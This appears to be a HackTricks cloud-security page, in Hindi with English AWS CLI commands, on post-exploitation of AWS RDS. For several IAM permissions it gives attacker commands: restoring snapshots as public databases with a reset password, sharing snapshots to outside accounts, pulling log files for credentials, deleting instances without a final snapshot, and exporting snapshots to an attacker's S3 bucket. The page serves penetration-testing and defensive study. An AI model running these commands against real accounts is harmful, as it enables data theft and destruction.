AWS - RDS Post Exploitation

HackTricks को समर्थन दें

RDS

अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

यदि हमलावर के पास पर्याप्त अनुमतियाँ हैं, तो वह एक DB को सार्वजनिक रूप से सुलभ बना सकता है, DB का स्नैपशॉट बनाकर, और फिर स्नैपशॉट से एक सार्वजनिक रूप से सुलभ DB बना सकता है।

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

इन अनुमतियों के साथ एक हमलावर DB का स्नैपशॉट बना सकता है और उसे सार्वजनिक रूप से उपलब्ध कर सकता है। फिर, वह अपने खाते में उस स्नैपशॉट से एक DB बना सकता है।

यदि हमलावर के पास rds:CreateDBSnapshot नहीं है, तो भी वह अन्य बनाए गए स्नैपशॉट्स को सार्वजनिक कर सकता है।

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

एक हमलावर जिसके पास rds:DownloadDBLogFilePortion अनुमति है, वह RDS instance के लॉग फाइलों के हिस्सों को डाउनलोड कर सकता है। यदि संवेदनशील डेटा या एक्सेस क्रेडेंशियल्स गलती से लॉग किए गए हैं, तो हमलावर इस जानकारी का उपयोग अपनी विशेषाधिकार बढ़ाने या अनधिकृत कार्य करने के लिए कर सकता है।

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

संभावित प्रभाव: संवेदनशील जानकारी तक पहुंच या लीक किए गए क्रेडेंशियल्स का उपयोग करके अनधिकृत क्रियाएं।

rds:DeleteDBInstance

इन अनुमतियों के साथ एक हमलावर मौजूदा RDS इंस्टेंस को DoS कर सकता है।

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

संभावित प्रभाव: मौजूदा RDS इंस्टेंस का हटाना, और संभावित डेटा हानि।

rds:StartExportTask

TODO: टेस्ट

इस अनुमति के साथ एक हमलावर एक RDS इंस्टेंस स्नैपशॉट को एक S3 बकेट में निर्यात कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट का नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक पहुंच सकते हैं।

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

संभावित प्रभाव: निर्यात किए गए स्नैपशॉट में संवेदनशील डेटा तक पहुंच।

HackTricks को समर्थन दें

Last updated